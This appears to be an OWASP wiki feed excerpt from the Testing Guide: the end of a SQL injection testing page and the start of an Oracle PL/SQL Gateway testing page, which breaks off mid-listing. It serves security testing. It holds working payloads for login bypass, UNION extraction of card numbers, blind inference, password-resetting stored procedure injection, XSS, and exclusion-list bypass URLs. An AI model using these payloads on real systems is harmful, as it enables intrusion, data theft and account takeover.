That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to invalidate the second condition.&lt;br /&gt;
We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment.&lt;br /&gt;
Every DBMS has its own symbols of comment, however, a common symbol to the greater part of the database is /*. In Oracle the symbol is &amp;quot;--&amp;quot;.&lt;br /&gt;
This said, the values that we'll use as Username and Password are: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1'))/*&lt;br /&gt;
 $password = foo&lt;br /&gt;
&lt;br /&gt;
In this way, we'll get the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) &lt;br /&gt;
&lt;br /&gt;
The URL request will be:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;password=foo &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Which returns a number of values. Sometimes, the authentication code verifies that the number of returned tuple is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). &lt;br /&gt;
In order to go around this problem, it is enough to insert a SQL command that imposes the condition that the number of the returned tuple must be one. (One record returned)&lt;br /&gt;
In order to reach this goal, we use the operator &amp;quot;LIMIT &amp;lt;num&amp;gt;&amp;quot;, where &amp;lt;num&amp;gt; is the number of the tuples that we expect to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:&lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1')) LIMIT 1/* &lt;br /&gt;
 $password = foo &lt;br /&gt;
&lt;br /&gt;
In this way, we create a request like the follow:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;password=foo &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Union Query SQL Injection Testing ===&lt;br /&gt;
Another test involves the use of the UNION operator. This operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of fields of other tables.&lt;br /&gt;
We suppose for our examples that the query executed from the server is the following: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=$id &lt;br /&gt;
&lt;br /&gt;
We will set the following Id value: &lt;br /&gt;
&lt;br /&gt;
 $id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable&lt;br /&gt;
&lt;br /&gt;
We will have the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable &lt;br /&gt;
&lt;br /&gt;
which will join the result of the original query with all the credit card users. &lt;br /&gt;
The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT. &lt;br /&gt;
Moreover, we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two query must have an equal number of parameters, in order to avoid a syntax error.&lt;br /&gt;
&lt;br /&gt;
=== Blind SQL Injection Testing ===&lt;br /&gt;
We have pointed out that there is another category of SQL injection, called [[Blind SQL Injection]], in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500).&lt;br /&gt;
&amp;lt;BR&amp;gt;&lt;br /&gt;
By using the inference methods, it is possible to avoid this obstacle and thus to succeed to recover the values of some desired fields. This method consists of carrying out a series of boolean queries to the server, observing the answers and finally deducing the meaning of such answers.&lt;br /&gt;
We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection.&lt;br /&gt;
This means that carrying out the following request: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?id=1' &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
we will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='$Id' &lt;br /&gt;
&lt;br /&gt;
which is exploitable through the methods seen previously. &lt;br /&gt;
What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present practically in every database. For our examples, we will use the following pseudo-functions: &lt;br /&gt;
&lt;br /&gt;
'''SUBSTRING (text, start, length)''': it returns a substring starting from the position &amp;quot;start&amp;quot; of text and of length &amp;quot;length&amp;quot;. If &amp;quot;start&amp;quot; is greater than the length of text, the function returns a null value. &lt;br /&gt;
&lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
'''LENGTH (text)''': it gives back the length in characters of the input text.&lt;br /&gt;
&lt;br /&gt;
Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. &lt;br /&gt;
The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found.&lt;br /&gt;
As an example, we will use the following value for ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&lt;br /&gt;
that creates the following query (from now on, we will call it &amp;quot;inferential query&amp;quot;): &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&lt;br /&gt;
The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function.&lt;br /&gt;
The problem is to understand in which way we can distinguish tests returning a true value from those that return false.&lt;br /&gt;
To do this, we create a query that always returns false. &lt;br /&gt;
This is possible by using the following value for ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND '1' = '2 &lt;br /&gt;
&lt;br /&gt;
by which will create the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' &lt;br /&gt;
&lt;br /&gt;
The obtained response from the server (that is HTML code) will be the false value for our tests. &lt;br /&gt;
This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. &lt;br /&gt;
Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order to decide the result of the test.&lt;br /&gt;
&lt;br /&gt;
In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. &lt;br /&gt;
A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function.&lt;br /&gt;
When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedue (we have scanned the whole string), or the value we have analyzed contains the null character.&lt;br /&gt;
&lt;br /&gt;
We will insert the following value for the field ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&lt;br /&gt;
Where N is the number of characters that we have analyzed up to now (not counting the null value). &lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&lt;br /&gt;
The query returns either true or false. If we obtain true, then we have completed inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.&lt;br /&gt;
&lt;br /&gt;
The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
A simple tool which performs this task, via GET requests on the MySql DB, is SqlDumper, which is shown below.&lt;br /&gt;
&lt;br /&gt;
[[Image:sqldumper.jpg]]&lt;br /&gt;
&lt;br /&gt;
=== Stored Procedure Injection ===&lt;br /&gt;
Question: How can the risk of SQL injection be eliminated? &amp;lt;br&amp;gt;&lt;br /&gt;
Answer: Stored procedures.&amp;lt;br&amp;gt;&lt;br /&gt;
I have seen this answer too many times without qualifications.  Merely the use of stored procedures does not assist in the mitigation of SQL injection.  If not handled properly, dynamic SQL within stored procedures can be just as vulnerable to SQL injection as dynamic SQL within a web page.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection.  If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Black box testing uses SQL injection to compromise the system. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Consider the following &amp;lt;b&amp;gt;SQL Server Stored Procedure:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
 Create procedure user_login @username varchar(20), @passwd varchar(20) As&lt;br /&gt;
 Declare @sqlstring varchar(250) &lt;br /&gt;
 Set @sqlstring  = ‘&lt;br /&gt;
 Select 1 from users &lt;br /&gt;
 Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd&lt;br /&gt;
 exec(@sqlstring)&lt;br /&gt;
 Go&lt;br /&gt;
User input: &amp;lt;br&amp;gt;&lt;br /&gt;
 anyusername or 1=1'&lt;br /&gt;
 anypassword&lt;br /&gt;
This procedure does not sanitize the input, therefore allowing the return value to show an existing record with these parameters.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
NOTE:  This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Consider the following &amp;lt;b&amp;gt;SQL Server Stored Procedure:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
 Create procedure get_report @columnamelist varchar(7900) As&lt;br /&gt;
 Declare @sqlstring varchar(8000) &lt;br /&gt;
 Set @sqlstring  = ‘&lt;br /&gt;
 Select ‘ + @columnamelist + ‘ from ReportTable‘&lt;br /&gt;
 exec(@sqlstring) &lt;br /&gt;
 Go&lt;br /&gt;
User input: &amp;lt;br&amp;gt;&lt;br /&gt;
 1 from users; update users set password = 'password'; select *&lt;br /&gt;
&lt;br /&gt;
This will result in the report running and all users’ passwords being updated.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Related Articles ==&lt;br /&gt;
&lt;br /&gt;
* [[Top 10 2007-Injection Flaws]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Technology specific Testing Guide pages have been created for the following DBMSs:&lt;br /&gt;
&lt;br /&gt;
* [[Testing for Oracle| Oracle]]&lt;br /&gt;
* [[Testing for MySQL| MySQL]]&lt;br /&gt;
* [[Testing for SQL Server  | SQL Server]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Victor Chapela: &amp;quot;Advanced SQL Injection&amp;quot; - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt&lt;br /&gt;
* Chris Anley: &amp;quot;Advanced SQL Injection In SQL Server Applications&amp;quot; - http://www.nextgenss.com/papers/advanced_sql_injection.pdf&lt;br /&gt;
* Chris Anley: &amp;quot;More Advanced SQL Injection&amp;quot; - http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.nextgenss.com/research/papers/sqlinference.pdf&lt;br /&gt;
* Imperva: &amp;quot;Blind SQL Injection&amp;quot; - http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html&lt;br /&gt;
* Ferruh Mavituna: &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;SQL Injection&amp;quot; - http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;Blind SQL Injection&amp;quot; - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* SQL Injection Fuzz Strings (from wfuzz tool) - http://yehg.net/lab/pr0js/pentest/wordlists/injections/SQL.txt&lt;br /&gt;
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--:  MySql Blind Injection Bruteforcing, Reversing.org - [http://www.reversing.org/node/view/11 sqlbftools]&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.sourceforge.net&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]&lt;br /&gt;
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/pangolin.html Pangolin]&lt;br /&gt;
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz SqlDumper]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Oracle&amp;diff=128750</id>
		<title>Testing for Oracle</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Oracle&amp;diff=128750"/>
				<updated>2012-04-29T13:33:12Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
This section describes how to test an Oracle DB from the web.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Web based PL/SQL applications are enabled by the PL/SQL Gateway, which is is the component that translates web requests into database queries. Oracle has developed a number of software implementations, ranging from the early web listener product to the Apache mod_plsql module to the XML Database (XDB) web server. All have their own quirks and issues, each of which will be thoroughly investigated in this chapter. Products that use the PL/SQL Gateway include, but are not limited to, the Oracle HTTP Server, eBusiness Suite, Portal, HTMLDB, WebDB and Oracle Application Server.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===Understanding how the PL/SQL Gateway works===&lt;br /&gt;
&lt;br /&gt;
Essentially the PL/SQL Gateway simply acts as a proxy server taking the user's web request and passes it on to the database server where it is executed. &lt;br /&gt;
&lt;br /&gt;
# The web server accepts a request from a web client and determines if it should be processed by the PL/SQL Gateway.&lt;br /&gt;
# The PL/SQL Gateway processes the request by extracting the requested package name, procedure, and variables.&lt;br /&gt;
# The requested package and procedure are wrapped in a block of anonymous PL/SQL, and sent to the database server.&lt;br /&gt;
# The database server executes the procedure and sends the results back to the Gateway as HTML.&lt;br /&gt;
# The gateway sends the response, via the web server, back to the client.&lt;br /&gt;
&lt;br /&gt;
Understanding this point is important - the PL/SQL code does not exist on the web server but, rather, in the database server. This means that any weaknesses in the PL/SQL Gateway or any weaknesses in the PL/SQL application, when exploited, give an attacker direct access to the database server; no amount of firewalls will prevent this.&lt;br /&gt;
&lt;br /&gt;
URLs for PL/SQL web applications are normally easily recognizable and generally start with the following (xyz can be any string and represents a Database Access Descriptor, which you will learn more about later):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/pls/xyz&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/xyz/owa&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/xyz/plsql&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
While the second and third of these examples represent URLs from older versions of the PL/SQL Gateway, the first is from more recent versions running on Apache. In the plsql.conf Apache configuration file, /pls is the default, specified as a Location with the PLS module as the handler. The location need not be /pls, however. The absence of a file extension in a URL could indicate the presence of the Oracle PL/SQL Gateway. Consider the following URL:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.server.com/aaa/bbb/xxxxx.yyyyy&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If xxxxx.yyyyy were replaced with something along the lines of “ebank.home,” “store.welcome,” “auth.login,” or “books.search,” then there’s a fairly strong chance that the PL/SQL Gateway is being used. It is also possible to precede the requested package and procedure with the name of the user that owns it - i.e. the schema - in this case the user is &amp;quot;webuser&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.server.com/pls/xyz/webuser.pkg.proc&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this URL, xyz is the Database Access Descriptor, or DAD. A DAD specifies information about the database server so that the PL/SQL Gateway can connect. It contains information such as the TNS connect string, the user ID and password, authentication methods, and so on. These DADs are specified in the dads.conf Apache configuration file in more recent versions or the wdbsvr.app file in older versions. Some default DADs include the following:&lt;br /&gt;
&lt;br /&gt;
 SIMPLEDAD&lt;br /&gt;
 HTMLDB&lt;br /&gt;
 ORASSO&lt;br /&gt;
 SSODAD&lt;br /&gt;
 PORTAL&lt;br /&gt;
 PORTAL2&lt;br /&gt;
 PORTAL30&lt;br /&gt;
 PORTAL30_SSO&lt;br /&gt;
 TEST&lt;br /&gt;
 DAD&lt;br /&gt;
 APP&lt;br /&gt;
 ONLINE&lt;br /&gt;
 DB&lt;br /&gt;
 OWA&lt;br /&gt;
&lt;br /&gt;
'''Determining if the PL/SQL Gateway is running'''&amp;lt;br&amp;gt;&lt;br /&gt;
When performing an assessment against a server, it's important first to know what technology you're actually dealing with. If you don't already know, for example, in a black box assessment scenario, then the first thing you need to do is work this out. Recognizing a web based PL/SQL application is pretty easy. First, there is the format of the URL and what it looks like, discussed above. Beyond that there are a set of simple tests that can be performed to test for the existence of the PL/SQL Gateway.&lt;br /&gt;
&lt;br /&gt;
'''Server response headers'''&amp;lt;br&amp;gt;&lt;br /&gt;
The web server's response headers are a good indicator as to whether the server is running the PL/SQL Gateway. The table below lists some of the typical server response headers:&lt;br /&gt;
&lt;br /&gt;
 Oracle-Application-Server-10g&lt;br /&gt;
 Oracle-Application-Server-10g/10.1.2.0.0 Oracle-HTTP-Server&lt;br /&gt;
 Oracle-Application-Server-10g/9.0.4.1.0 Oracle-HTTP-Server&lt;br /&gt;
 Oracle-Application-Server-10g OracleAS-Web-Cache-10g/9.0.4.2.0 (N)&lt;br /&gt;
 Oracle-Application-Server-10g/9.0.4.0.0&lt;br /&gt;
 Oracle HTTP Server Powered by Apache&lt;br /&gt;
 Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3a&lt;br /&gt;
 Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3d&lt;br /&gt;
 Oracle HTTP Server Powered by Apache/1.3.12 (Unix) mod_plsql/3.0.9.8.5e&lt;br /&gt;
 Oracle HTTP Server Powered by Apache/1.3.12 (Win32) mod_plsql/3.0.9.8.5e&lt;br /&gt;
 Oracle HTTP Server Powered by Apache/1.3.19 (Win32) mod_plsql/3.0.9.8.3c&lt;br /&gt;
 Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/3.0.9.8.3b &lt;br /&gt;
 Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/9.0.2.0.0 &lt;br /&gt;
 Oracle_Web_Listener/4.0.7.1.0EnterpriseEdition&lt;br /&gt;
 Oracle_Web_Listener/4.0.8.2EnterpriseEdition&lt;br /&gt;
 Oracle_Web_Listener/4.0.8.1.0EnterpriseEdition&lt;br /&gt;
 Oracle_Web_listener3.0.2.0.0/2.14FC1&lt;br /&gt;
 Oracle9iAS/9.0.2 Oracle HTTP Server&lt;br /&gt;
 Oracle9iAS/9.0.3.1 Oracle HTTP Server&lt;br /&gt;
&lt;br /&gt;
'''The NULL test'''&amp;lt;br&amp;gt;&lt;br /&gt;
In PL/SQL, &amp;quot;null&amp;quot; is a perfectly acceptable expression:&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; BEGIN&lt;br /&gt;
  2  NULL;&lt;br /&gt;
  3  END;&lt;br /&gt;
  4  /&lt;br /&gt;
 &lt;br /&gt;
 PL/SQL procedure successfully completed.&lt;br /&gt;
&lt;br /&gt;
We can use this to test if the server is running the PL/SQL Gateway. Simply take the DAD and append NULL, then append NOSUCHPROC:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/pls/dad/null&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/pls/dad/nosuchproc&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the server responds with a 200 OK response for the first and a 404 Not Found for the second then it indicates that the server is running the PL/SQL Gateway.&lt;br /&gt;
&lt;br /&gt;
'''Known package access'''&amp;lt;br&amp;gt;&lt;br /&gt;
On older versions of the PL/SQL Gateway, it is possible to directly access the packages that form the PL/SQL Web Toolkit such as the OWA and HTP packages. One of these packages is the OWA_UTIL package, which we'll speak about more later on. This package contains a procedure called SIGNATURE and it simply outputs in HTML a PL/SQL signature. Thus requesting&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/pls/dad/owa_util.signature&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
returns the following output on the webpage&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;This page was produced by the PL/SQL Web Toolkit on date&amp;quot;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;This page was produced by the PL/SQL Cartridge on date&amp;quot;&lt;br /&gt;
&lt;br /&gt;
If you don't get this response but a 403 Forbidden response then you can infer that the PL/SQL Gateway is running. This is the response you should get in later versions or patched systems.&lt;br /&gt;
&lt;br /&gt;
'''Accessing Arbitrary PL/SQL Packages in the Database'''&amp;lt;br&amp;gt;&lt;br /&gt;
It is possible to exploit vulnerabilities in the PL/SQL packages that are installed by default in the database server. How you do this depends on the version of the PL/SQL Gateway. In earlier versions of the PL/SQL Gateway, there was nothing to stop an attacker from accessing an arbitrary PL/SQL package in the database server. We mentioned the OWA_UTIL package earlier. This can be used to run arbitrary SQL queries:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/pls/dad/OWA_UTIL.CELLSPRINT? P_THEQUERY=SELECT+USERNAME+FROM+ALL_USERS&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting attacks could be launched via the HTP package:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/pls/dad/HTP.PRINT?CBUF=&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Clearly, this is dangerous, so Oracle introduced a PLSQL Exclusion list to prevent direct access to such dangerous procedures. Banned items include any request starting with SYS.*, any request starting with DBMS_*, any request with HTP.* or OWA*. It is possible to bypass the exclusion list however. What's more, the exclusion list does not prevent access to packages in the CTXSYS and MDSYS schemas or others, so it is possible to exploit flaws in these packages:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/pls/dad/CXTSYS.DRILOAD.VALIDATE_STMT?SQLSTMT=SELECT+1+FROM+DUAL&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This will return a blank HTML page with a 200 OK response if the database server is still vulnerable to this flaw (CVE-2006-0265)&lt;br /&gt;
&lt;br /&gt;
===Testing the PL/SQL Gateway For Flaws===&lt;br /&gt;
&lt;br /&gt;
Over the years, the Oracle PL/SQL Gateway has suffered from a number of flaws, including access to admin pages (CVE-2002-0561),  buffer overflows (CVE-2002-0559), directory traversal bugs, and vulnerabilities that allow attackers to bypass the Exclusion List and go on to access and execute arbitrary PL/SQL packages in the database server.&lt;br /&gt;
&lt;br /&gt;
'''Bypassing the PL/SQL Exclusion List'''&amp;lt;br&amp;gt;&lt;br /&gt;
It is incredible how many times Oracle has attempted to fix flaws that allow attackers to bypass the exclusion list. Each patch that Oracle has produced has fallen victim to a new bypass technique. The history of this sorry story can be found here: http://seclists.org/fulldisclosure/2006/Feb/0011.html&lt;br /&gt;
&lt;br /&gt;
'''Bypassing the Exclusion List - Method 1'''&amp;lt;br&amp;gt;&lt;br /&gt;
When Oracle first introduced the PL/SQL Exclusion List to prevent attackers from accessing arbitrary PL/SQL packages, it could be trivially bypassed by preceding the name of the schema/package with a hex encoded newline character or space or tab:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/pls/dad/%0ASYS.PACKAGE.PROC&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/pls/dad/%20SYS.PACKAGE.PROC&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/pls/dad/%09SYS.PACKAGE.PROC&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Bypassing the Exclusion List - Method 2'''&amp;lt;br&amp;gt;&lt;br /&gt;
Later versions of the Gateway allowed attackers to bypass the exclusion list by preceding the name of the schema/package with a label. In PL/SQL a label points to a line of code that can be jumped to using the GOTO statement and takes the following form: &amp;lt;&amp;lt;NAME&amp;gt;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/pls/dad/&amp;lt;&amp;lt;LBL&amp;gt;&amp;gt;SYS.PACKAGE.PROC&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Bypassing the Exclusion List - Method 3'''&amp;lt;br&amp;gt;&lt;br /&gt;
Simply placing the name of the schema/package in double quotes could allow an attacker to bypass the exclusion list. Note that this will not work on Oracle Application Server 10g as it converts the user's request to lowercase before sending it to the database server and a quote literal is case sensitive - thus &amp;quot;SYS&amp;quot; and &amp;quot;sys&amp;quot; are not the same and requests for the latter will result in a 404 Not Found. On earlier versions though the following can bypass the exclusion list:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/pls/dad/&amp;quot;SYS&amp;quot;.PACKAGE.PROC&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Bypassing the Exclusion List - Method 4'''&amp;lt;br&amp;gt;&lt;br /&gt;
Depending upon the character set in use on the web server and on the database server, some characters are translated. Thus, depending upon the character sets in use, the &amp;quot;ÿ&amp;quot; character (0xFF) might be converted to a &amp;quot;Y&amp;quot; at the database server. Another character that is often converted to an upper case &amp;quot;Y&amp;quot; is the Macron character - 0xAF.  This may allow an attacker to bypass the exclusion list:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/pls/dad/S%FFS.PACKAGE.PROC&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/pls/dad/S%AFS.PACKAGE.PROC&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Bypassing the Exclusion List - Method 5'''&amp;lt;br&amp;gt;&lt;br /&gt;
Some versions of the PL/SQL Gateway allow the exclusion list to be bypassed with a backslash - 0x5C:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/pls/dad/%5CSYS.PACKAGE.PROC&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Bypassing the Exclusion List - Method 6'''&amp;lt;br&amp;gt;&lt;br /&gt;
This is the most complex method of bypassing the exclusion list and is the most recently patched method. If we were to request the following&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/pls/dad/foo.bar?xyz=123&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
the application server would execute the following at the database server:&lt;br /&gt;
&lt;br /&gt;
 1 declare&lt;br /&gt;
 2  rc__ number;&lt;br /&gt;
 3  start_time__ binary_integer;&lt;br /&gt;
 4  simple_list__ owa_util.vc_arr;&lt;br /&gt;
 5  complex_list__ owa_util.vc_arr;&lt;br /&gt;
 6 begin&lt;br /&gt;
 7  start_time__ := dbms_utility.get_time;&lt;br /&gt;
 8  owa.init_cgi_env(:n__,:nm__,:v__);&lt;br /&gt;
